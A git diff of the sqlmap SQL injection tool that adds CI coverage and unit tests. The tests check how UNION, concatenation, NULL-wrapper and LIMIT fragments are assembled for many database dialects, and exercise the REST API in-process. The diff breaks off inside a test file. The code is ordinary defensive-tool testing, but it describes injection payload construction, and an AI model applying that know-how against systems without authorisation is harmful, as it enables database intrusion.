+ data/txt/sha256sums.txt | 55 +- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 2 +- tests/test_agent_dialects.py | 274 ++++++++++ tests/test_api.py | 619 ++++++++++++++++++++++ tests/test_checks.py | 504 ++++++++++++++++++ tests/test_common_parsers.py | 466 +++++++++++++++++ tests/test_common_utils.py | 340 +++++++++++++ tests/test_compat.py | 290 +++++++++++ tests/test_core_extra.py | 676 +++++++++++++++++++++++++ tests/test_core_final.py | 605 ++++++++++++++++++++++ tests/test_core_more.py | 706 ++++++++++++++++++++++++++ tests/test_databases_enum.py | 511 +++++++++++++++++++ tests/test_dbms_enum.py | 98 ++++ tests/test_dbms_enum_a.py | 215 ++++++++ tests/test_dbms_enum_b.py | 469 +++++++++++++++++ tests/test_deps.py | 113 +++++ tests/test_dialectdbms.py | 11 +- tests/test_dns_engine.py | 119 ++++- tests/test_dns_server.py | 163 +++--- tests/test_dump_format.py | 410 +++++++++++++++ tests/test_filesystem.py | 736 +++++++++++++++++++++++++++ tests/test_fingerprint.py | 203 ++++++++ tests/test_generic_enum_more.py | 865 +++++++++++++++++++++++++++++++ tests/test_generic_more.py | 873 ++++++++++++++++++++++++++++++++ tests/test_graphql.py | 59 ++- tests/test_gui_helpers.py | 118 +++++ tests/test_har.py | 171 +++++++ tests/test_hash_crack.py | 218 ++++++++ tests/test_hashdb.py | 13 +- tests/test_inference.py | 293 +++++++++++ tests/test_ldap.py | 119 +++-- tests/test_option_more.py | 663 ++++++++++++++++++++++++ tests/test_option_setup.py | 739 +++++++++++++++++++++++++++ tests/test_parse_modules.py | 175 +++++++ tests/test_payload_marking.py | 163 ++++-- tests/test_progress.py | 78 +++ tests/test_purge.py | 124 +++++ tests/test_search_enum.py | 475 +++++++++++++++++ tests/test_sgmllib.py | 267 ++++++++++ tests/test_tamper.py | 40 +- tests/test_target_parsing.py | 521 +++++++++++++++++++ tests/test_techniques.py | 769 ++++++++++++++++++++++++++++ tests/test_techniques_more.py | 540 ++++++++++++++++++++ tests/test_threads.py | 171 +++++++ tests/test_users_enum.py | 256 ++++++++++ 48 files changed, 15116 insertions(+), 190 deletions(-) create mode 100644 tests/test_agent_dialects.py create mode 100644 tests/test_api.py create mode 100644 tests/test_checks.py create mode 100644 tests/test_common_parsers.py create mode 100644 tests/test_common_utils.py create mode 100644 tests/test_compat.py create mode 100644 tests/test_core_extra.py create mode 100644 tests/test_core_final.py create mode 100644 tests/test_core_more.py create mode 100644 tests/test_databases_enum.py create mode 100644 tests/test_dbms_enum.py create mode 100644 tests/test_dbms_enum_a.py create mode 100644 tests/test_dbms_enum_b.py create mode 100644 tests/test_deps.py create mode 100644 tests/test_dump_format.py create mode 100644 tests/test_filesystem.py create mode 100644 tests/test_fingerprint.py create mode 100644 tests/test_generic_enum_more.py create mode 100644 tests/test_generic_more.py create mode 100644 tests/test_gui_helpers.py create mode 100644 tests/test_har.py create mode 100644 tests/test_hash_crack.py create mode 100644 tests/test_inference.py create mode 100644 tests/test_option_more.py create mode 100644 tests/test_option_setup.py create mode 100644 tests/test_parse_modules.py create mode 100644 tests/test_progress.py create mode 100644 tests/test_purge.py create mode 100644 tests/test_search_enum.py create mode 100644 tests/test_sgmllib.py create mode 100644 tests/test_target_parsing.py create mode 100644 tests/test_techniques.py create mode 100644 tests/test_techniques_more.py create mode 100644 tests/test_threads.py create mode 100644 tests/test_users_enum.py diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index e5629645b..7f3268e69 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -99,6 +99,14 @@ jobs: # 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean. run: python -B -m unittest discover -s tests -p "test_*.py" + - name: Coverage + if: matrix.python-version != 'pypy-2.7' + run: | + python -m pip install coverage + python -m coverage run --source=lib,plugins,tamper -m unittest discover -s tests -p "test_*.py" + python -m coverage run -a --source=lib,plugins,tamper sqlmap.py --doc-test + python -m coverage report --fail-under=50 + - name: Smoke test run: python sqlmap.py --smoke-test diff --git a/.gitignore b/.gitignore index 78c5d1d9b..07ca46e6e 100644 --- a/.gitignore +++ b/.gitignore @@ -15,3 +15,4 @@ lib/.DS_Store plugins/.DS_Store thirdparty/.DS_Store CLAUDE.md +.coverage diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 8767f793a..d8d8b6631 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1a569b5bcd33ae45d95c140fd3bae2f12ad54640d938172de3cb99f73a549b47 lib/core/settings.py +5cbf5f4bc21f21873df79babd91da8f7fea5ec3c1999f108f005ca6fb4d453b6 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -a6440d24f8d6b772221fc78a655d3df07a000ba23e7924bd51cf5068097ee1fb lib/parse/cmdline.py +8351588876a7579fa96b3ab860ef2254487de34ea624c0a7696f2428c24ceb98 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -579,50 +579,85 @@ dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191 tamper/unional 0694e721b07b8242245688be5c7951a3a22f512ed73776a998885e4b1bc82bc7 tamper/versionedmorekeywords.py ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 tests/__init__.py +d2c27dff782dbe119a4cb5041f374d87b67e3da523ee3a7ad584d34721b6c564 tests/test_agent_dialects.py bfb553602eb5d20b4ab5928dbcf8e6a3e7e5ff69f7d30d1f53ef6d323c237f6c tests/test_agent.py +138381e05a860272fedab780e6c38ab74c59c879048b11b909d23f8df654352a tests/test_api.py feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10 tests/test_bigarray.py 27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py +c99b77cc5d85334f147a1a6d4b2867af396f70e9f2609f8587344e084910e893 tests/test_checks.py 9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py 2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd tests/test_common_helpers.py +c6338f74230b758cb41adacf4f04593e70b4b11e054ea0b35712607a781e0d55 tests/test_common_parsers.py +b1540c5f2be80ee3d870d7c373adfca23f33adb06724db00335adbd79bea4272 tests/test_common_utils.py 899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py 7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py +a0a29231acbbe6bec11400e28b39b76eaf812c03bf79d5f0dbdd68cd54a052f8 tests/test_compat.py 75357efd92f3f57cc05244a0f40985108077479fd192caaaa81e14f61c13783d tests/test_convert.py +d2c52b1c9b0f31e2d30e1fc3942986692a815e76fa8e39903c3824d6d6d0ee71 tests/test_core_extra.py +7c6d542bf96e8962ecdf8607f93e84babe4820045533bded170955e95727d630 tests/test_core_final.py +e42f6dd46fa7f2d1e666116e2244fa02e7b9d930a005e2bbeea89cfe3f2215b6 tests/test_core_more.py +951822c0d6ea62dc91cc4a7614059788b256cac06167f4767721f2ad5d54a78b tests/test_databases_enum.py c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_datafiles.py 9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py +c9f7c5219e379b0242914f79f1e5d3b8b7d1a4c5e9f77cd05d0ec382d4fbed88 tests/test_dbms_enum_a.py +866978b7d5d0270a54465897932fe645c7e0360d73b0e4086540558c107e680d tests/test_dbms_enum_b.py +a3628b7f22dcc0ff4cd9ed8a1e70519a340f40fa4d73e9220c7d11f5088d9c01 tests/test_dbms_enum.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py -b6d8a4bc9c46a332a2dc7b3cf862ea67e38b5c5701cfd8eb3556021f6b611416 tests/test_dialectdbms.py +8e469e4e29319bcb718803a9e109e742965875c985fa8e8d3bb5b18c922ec597 tests/test_deps.py +b01343eb8aa42ea5c2c483ec028a24f6451aa6f668fdc0c289d5ff9554c277d7 tests/test_dialectdbms.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py -ed5a0e453b811dc3dcc5ca28e14a9d7552aacaa7e316e1bca1b042dc5939e204 tests/test_dns_engine.py -703faac01f38224ba85bd0fc398d939ea034f1d7fd641cdc15da4f77ec049443 tests/test_dns_server.py +7f9180a53dbf0bb3e52801fdbfffd31f365a0bff77bf90e58d2ef63a0c23026f tests/test_dns_engine.py +ec58ba0849d90d2bb7580fe2b8b96cd8299ddfc25f14dc27d9de9d41f152c78a tests/test_dns_server.py +4556bb0bfa6fcd5b98552426c57c99942ee8274eaefec7c316fd64247e4fcd6a tests/test_dump_format.py 9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py -4a5f9392b7fec7b40c4d865b83306b58b76f3423cebc2876e6e75fb91b037202 tests/test_graphql.py -8105de9978fe286a29f6b635a58db1e9998d86e8dded54d7efdfb9d52a121094 tests/test_hashdb.py +31354d3cff0d26ecf3b42e949a2780ae3d286cdf206b59404e18a96e7a2cddd2 tests/test_filesystem.py +6a9d95f64c7892957742534a14e8f094c6ed9ebc91b7059f4f1665049228a5a6 tests/test_fingerprint.py +4f3cfb830b323a3423b0f80985b9a0bbbe4ef77350b762f103dcd8936cca67c6 tests/test_generic_enum_more.py +9874920d18fc30736630df6b14a70b230504d2e4d0c035971a9aa285ee623839 tests/test_generic_more.py +bde97a4781c4ee84e0fe86f7a33206f114167eb14b704013ecf1c26b838193d7 tests/test_graphql.py +50b71422ee91b9a4864f4d5ce6c9bdf169dc5f57ed1db05c152eb010c282136b tests/test_gui_helpers.py +92648f2fe81e22c5726b198bbbda14961cd4d3294a0d9139dcea808b324142ac tests/test_har.py +da2efd1b7457ff619d98a2ae5045f072fdd34be2aa1c18f17d74d7518eeb6707 tests/test_hash_crack.py +0336c875dd2b6554bff6eafd746229e38c69ca8070cd933d45cf27c82ef3e05f tests/test_hashdb.py c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py -13d0369f3fea7262f7944999f559da38e5284cbc76660fd7aeffedad78e65f5f tests/test_ldap.py +280afe64cabac3a737d2574f4e2873760c3883eaac1b7ba0f8fed4b82b91c9c2 tests/test_inference.py +0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py +647d782395fe88dcda775808b9988a0809b208d1df9412d89dc8b6809bd15de6 tests/test_option_more.py +a5743989442de51b3689b30c27118249502bb462788abeeb1ddb27cd176cd363 tests/test_option_setup.py cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py -4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py +7554a918309cf0f2cd8a63a3bb7659708f13beffbcd5ce498ece9f9167d55c97 tests/test_parse_modules.py +064617c6a3d28ecd75136318b4f515ab1adefbf830da17667f105337b419c184 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py +d6ffa83bd56ae98e7f55307b72dd7ea4802bccea9a85bb8f062619fb0a88913e tests/test_progress.py a6d013104601c0414628aff3d8b5b69bee3e6733781d8f8da880457d8b44bd3a tests/test_property.py +c4c6f500bb71c3e430da343a49e8c8b8b3c919f438b6e6130597ce68dd856487 tests/test_purge.py 2dfefb4bfaee3868152835502ec43da317c4f274b1d55cd2ef21e4f7390c9bea tests/test_replication.py 67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750 tests/test_report.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py +d4f6e60c23db67430cf68dc2d90317d69391a19feff0f842c08ae2443b481857 tests/test_search_enum.py a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py +d6bcba7232fff834737c094679c92e7a69cab5721bc87cb10bcab868c6a8115f tests/test_sgmllib.py d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py 8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py -f3a628db8a3e05baee580c02132e95b164695e4b3ee1785707e3ea148702449a tests/test_tamper.py +8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e tests/test_tamper.py +44954b916f1e4a4bb217516a65cf330fca922600d484f732525e0e4a2a553167 tests/test_target_parsing.py b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_targeturl.py +d070a72ae9529182d6dfc0884f7720d42a5f0cd8cd865dd4c2d209389c3ade85 tests/test_techniques_more.py +f2e8b5b9799f4e591462f53a97bb643c6399acf703f33e119c03d991971274ab tests/test_techniques.py 639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6 tests/test_texthelpers.py +f49bcce1df533ffa1acfd02af43faf6687b21eebda9362ceb1e5871b8cb37fd4 tests/test_threads.py 708b3c040f8b677a84020dd6f7c4242f77260b3c6d2697fe8189e1881b0e1365 tests/test_union_engine.py 48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78 tests/test_unpickle_security.py 4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py +e7793907ce4dad9034d61f2a3cdfec8af33b96f8e6f67138b09daf81a825c13f tests/test_users_enum.py 23ffd75b5aec33066e6d6aad01ab2c9c1b12ee20c1a0990f8f1be81f1ad16161 tests/_testutils.py 2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py diff --git a/lib/core/settings.py b/lib/core/settings.py index bb3a3ada1..79a4e7ea0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.185" +VERSION = "1.10.6.186" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index ea79f3115..72e43e1e6 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -898,7 +898,7 @@ def cmdLineParser(argv=None): parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true", help=SUPPRESS) - parser.add_argument("--smoke-test", dest="smokeTest", action="store_true", + parser.add_argument("--smoke-test", "--doc-test", dest="smokeTest", action="store_true", help=SUPPRESS) parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", diff --git a/tests/test_agent_dialects.py b/tests/test_agent_dialects.py new file mode 100644 index 000000000..72b9007a5 --- /dev/null +++ b/tests/test_agent_dialects.py @@ -0,0 +1,274 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Cross-dialect exercise of lib/core/agent.py payload-assembly helpers. + +agent.py builds SQL payloads from per-DBMS dialect templates (queries.xml). +The helpers are pure given the identified back-end DBMS, so driving each one +across EVERY supported dialect walks the dialect-specific branches (CAST forms, +concatenation operators, LIMIT/TOP/ROWNUM shapes, ...) without a live target. + +These are smoke-level assertions (right type, dialect tokens present) rather than +golden strings: the goal is to traverse the dialect branches the single-DBMS +tests in test_agent.py do not reach. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.agent import agent +from lib.core.data import queries + +DIALECTS = sorted(queries.keys()) + +# --------------------------------------------------------------------------- # +# Per-dialect expectation maps (keyed by the DBMS display name == queries key). +# +# These were derived by inspecting the actual agent.py output for every dialect +# (the queries.xml templates drive the branches). They pin the *distinctive* +# dialect token so an assertion fails if the dialect branch collapses to the +# wrong form (e.g. concat operator swapped, null-wrapper dropped). +# --------------------------------------------------------------------------- # + +# concatQuery / simpleConcatenate join operator per dialect. +CONCAT_OPERATOR = { + "ClickHouse": "CONCAT(", + "Informix": "CONCAT(", + "MySQL": "CONCAT(", + "SAP MaxDB": "CONCAT(", + "Microsoft SQL Server": "+", + "Sybase": "+", + "Microsoft Access": "&", +} +# everything not listed above uses the SQL standard "||" +CONCAT_OPERATOR_DEFAULT = "||" + +# nullAndCastField / nullCastConcatFields NULL-wrapper function per dialect. +NULL_WRAPPER = { + "Altibase": "NVL", + "Apache Derby": "COALESCE", + "ClickHouse": "ifNull", + "CrateDB": "COALESCE", + "Cubrid": "IFNULL", + "Firebird": "COALESCE", + "FrontBase": "COALESCE", + "H2": "IFNULL", + "HSQLDB": "IFNULL", + "IBM DB2": "COALESCE", + "Informix": "NVL", + "InterSystems Cache": "COALESCE", + "Mckoi": "IF(", + "Microsoft Access": "IIF", + "Microsoft SQL Server": "ISNULL", + "MimerSQL": "COALESCE", + "MonetDB": "COALESCE", + "MySQL": "IFNULL", + "Oracle": "NVL", + "PostgreSQL": "COALESCE", + "Presto": "COALESCE", + "Raima Database Manager": "IFNULL", + "SAP MaxDB": "VALUE", + "SQLite": "COALESCE", + "Snowflake": "NVL", + "Spanner": "IFNULL", + "Sybase": "ISNULL", + "Vertica": "COALESCE", + "Virtuoso": "__MAX_NOTNULL", + "eXtremeDB": "IFNULL", +} + +# hexConvertField: dialects that DO have a hex function, mapped to its token. +HEX_FUNCTION = { + "Altibase": "HEX_ENCODE(", + "Cubrid": "HEX(", + "H2": "RAWTOHEX(", + "IBM DB2": "HEX(", + "Microsoft SQL Server": "fn_varbintohexstr", + "MySQL": "HEX(", + "Oracle": "RAWTOHEX(", + "PostgreSQL": "ENCODE(", + "Presto": "TO_HEX(", + "SAP MaxDB": "HEX(", + "SQLite": "HEX(", + "Spanner": "TO_HEX(", + "Sybase": "BINTOSTR", + "Vertica": "TO_HEX(", +} +# dialects that intentionally do NOT support hex conversion and return the +# field unchanged (a no-op the old "colname in out" check silently masked). +HEX_NOOP = set(DIALECTS) - set(HEX_FUNCTION) + +# limitQuery: dialects whose limit template is empty so the call legitimately +# raises (no .limit.query). These are skipped by name in the limit-token test. +LIMIT_RAISES = {"Mckoi", "Raima Database Manager"} +# dialects with no special limitQuery branch: the query is returned unchanged +# (no limit token is emitted). +LIMIT_PASSTHROUGH = {"Informix", "Microsoft Access", "SAP MaxDB"} +# broad set of dialect limit tokens; every running, non-passthrough dialect +# emits at least one of these. +LIMIT_TOKENS = ("LIMIT", "TOP", "ROWNUM", "FETCH", "ROWS", "OFFSET", "ROW_NUMBER") + + +class TestNullCastConcatFields(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.nullCastConcatFields("user,password") + self.assertIsInstance(out, str, msg=dbms) + # both column names survive the null/cast/concat rewrite + self.assertIn("user", out, msg=dbms) + self.assertIn("password", out, msg=dbms) + # the dialect-specific NULL-wrapper must be present (the column-name + # check above is always satisfied and so cannot catch a broken + # branch); this fails if the wrapper collapses to the wrong form. + self.assertIn(NULL_WRAPPER[dbms], out, msg="%s: %s" % (dbms, out)) + + def test_literal_passthrough(self): + for dbms in DIALECTS: + set_dbms(dbms) + # a bare quoted literal is returned untouched + self.assertEqual(agent.nullCastConcatFields("'abc'"), "'abc'", msg=dbms) + + +class TestNullAndCastField(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.nullAndCastField("colname") + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("colname", out, msg=dbms) + # dialect-specific NULL wrapper (IFNULL/COALESCE/NVL/ISNULL/IIF/...) + self.assertIn(NULL_WRAPPER[dbms], out, msg="%s: %s" % (dbms, out)) + + +class TestHexConvertField(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.hexConvertField("colname") + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("colname", out, msg=dbms) + if dbms in HEX_FUNCTION: + # the dialect's hex function wraps the field + self.assertIn(HEX_FUNCTION[dbms], out, msg="%s: %s" % (dbms, out)) + else: + # intentional no-op: the field is returned verbatim. The old + # "colname in out" check masked this; pin the exact identity. + self.assertEqual(out, "colname", msg="%s expected no-op: %s" % (dbms, out)) + + +class TestConcatQuery(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.concatQuery("SELECT user FROM users") + self.assertIsInstance(out, str, msg=dbms) + # concatQuery output is dialect-specific: MySQL/ClickHouse/Informix/ + # SAP MaxDB use CONCAT(...), MSSQL/Sybase use +, Access uses &, and + # the rest use the SQL-standard ||. Assert the right operator so the + # test fails if the dialect collapses to the wrong concatenation. + expected = CONCAT_OPERATOR.get(dbms, CONCAT_OPERATOR_DEFAULT) + self.assertIn(expected, out, msg="%s: %s" % (dbms, out)) + + +class TestSimpleConcatenate(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.simpleConcatenate("a", "b") + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("a", out, msg=dbms) + self.assertIn("b", out, msg=dbms) + + +class TestForgeUnionQuery(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + count = 3 + out = agent.forgeUnionQuery("SELECT user FROM users", -1, count, None, + None, None, "NULL", None) + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("UNION", out.upper(), msg=dbms) + # position -1 with char NULL fills every one of the `count` columns + # with the char, so the NULL char must appear exactly `count` times. + # (a hardcoded "UNION in out" check could not catch a wrong column + # count.) Match NULL as a whole token to avoid matching substrings. + self.assertEqual(re.findall(r"\bNULL\b", out).__len__(), count, + msg="%s expected %d NULLs: %s" % (dbms, count, out)) + + +class TestLimitQuery(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + + # Only Mckoi/Raima have an empty limit template and legitimately + # raise; skip exactly those by name rather than swallowing *any* + # exception (which would hide a real regression in another dialect). + if dbms in LIMIT_RAISES: + with self.assertRaises(Exception, msg=dbms): + agent.limitQuery(0, "SELECT user FROM users", "user") + continue + + out = agent.limitQuery(0, "SELECT user FROM users", "user") + self.assertIsInstance(out, str, msg=dbms) + + if dbms in LIMIT_PASSTHROUGH: + # these dialects have no dedicated limitQuery branch and return + # the query unchanged (documented no-op). + self.assertEqual(out, "SELECT user FROM users", msg=dbms) + else: + # every other running dialect emits a real limit construct + self.assertTrue(any(tok in out.upper() for tok in LIMIT_TOKENS), + msg="%s missing limit token: %s" % (dbms, out)) + + +class TestForgeCaseStatement(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.forgeCaseStatement("1=1") + self.assertIsInstance(out, str, msg=dbms) + # dialects vary on the conditional form (CASE / IIF / IF); the + # condition itself is always embedded + self.assertIn("1=1", out, msg=dbms) + # ...but the conditional construct itself must also be present, + # otherwise the "1=1" check alone could pass on a degenerate output. + self.assertTrue("CASE" in out or "IIF" in out or "IF(" in out, + msg="%s missing conditional construct: %s" % (dbms, out)) + + +class TestPrefixSuffixAcrossDialects(unittest.TestCase): + def test_prefix_suffix(self): + for dbms in DIALECTS: + set_dbms(dbms) + prefix = agent.prefixQuery("1=1") + suffix = agent.suffixQuery("1=1") + self.assertIsInstance(prefix, str, msg=dbms) + self.assertIsInstance(suffix, str, msg=dbms) + # prefixQuery pads a leading space ahead of the expression by default + self.assertEqual(prefix, " 1=1", msg="%s prefix: %r" % (dbms, prefix)) + # suffixQuery returns the expression itself (no extra clause/comment) + self.assertEqual(suffix, "1=1", msg="%s suffix: %r" % (dbms, suffix)) + + +class TestRunAsDBMSUserAndWhere(unittest.TestCase): + def test_run_as_user_noop_without_conf(self): + for dbms in DIALECTS: + set_dbms(dbms) + # without conf.dbmsCred the query is returned unchanged + self.assertEqual(agent.runAsDBMSUser("SELECT 1"), "SELECT 1", msg=dbms) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_api.py b/tests/test_api.py new file mode 100644 index 000000000..a76d814d6 --- /dev/null +++ b/tests/test_api.py @@ -0,0 +1,619 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for the sqlmap REST API (lib/utils/api.py). + +Two complementary angles: + 1. Pure helpers / objects called directly (is_admin, validate_task_options, + the Database and Task classes, the StdDbOut/LogRecorder IPC writers). + 2. The bottle HTTP routes driven through the WSGI app via a minimal in-process + test client (no sockets, no network, no scan subprocess) - task lifecycle, + option get/set, scan status/data/log, admin list/flush, version, auth. + +The scan-data assembler/collector helpers (_storeData / _assembleData / +_sanitizeScanData / _cleanIdentifier / writeReportJson) are pinned separately in +test_report.py; here we focus on what that file does not exercise. +""" + +import io +import json +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.api as api +from lib.core.data import conf +from lib.core.convert import encodeBase64 +from lib.core.enums import CONTENT_STATUS, CONTENT_TYPE +from thirdparty.bottle.bottle import default_app + + +def _wsgi_call(method, path, body=None, headers=None, remote_addr="127.0.0.1"): + """ + Drive the module's bottle routes through the WSGI interface in-process. + Returns (status_code_int, parsed_json_or_None, raw_text). + """ + + app = default_app() + environ = { + "REQUEST_METHOD": method, + "PATH_INFO": path, + "SERVER_NAME": "localhost", + "SERVER_PORT": "80", + "REMOTE_ADDR": remote_addr, + "wsgi.input": io.BytesIO(), + "wsgi.errors": sys.stderr, + "wsgi.url_scheme": "http", + } + + if body is not None: + data = json.dumps(body).encode("utf-8") + environ["CONTENT_TYPE"] = "application/json" + environ["CONTENT_LENGTH"] = str(len(data)) + environ["wsgi.input"] = io.BytesIO(data) + + for key, value in (headers or {}).items(): + environ["HTTP_%s" % key.upper().replace("-", "_")] = value + + captured = {} + + def start_response(status, response_headers, exc_info=None): + captured["status"] = status + + chunks = app(environ, start_response) + raw = b"".join(chunks).decode("utf-8", "replace") + code = int(captured["status"].split(" ", 1)[0]) + + try: + parsed = json.loads(raw) + except ValueError: + parsed = None + + return code, parsed, raw + + +class _ApiServerCase(unittest.TestCase): + """ + Stands up just enough of the API server state (IPC database + DataStore globals) + to drive the routes, snapshotting and restoring every global it touches. + """ + + def setUp(self): + conf.batch = True + + # snapshot mutated globals + self._saved = { + "current_db": api.DataStore.current_db, + "tasks": api.DataStore.tasks, + "admin_token": api.DataStore.admin_token, + "username": api.DataStore.username, + "password": api.DataStore.password, + "filepath": 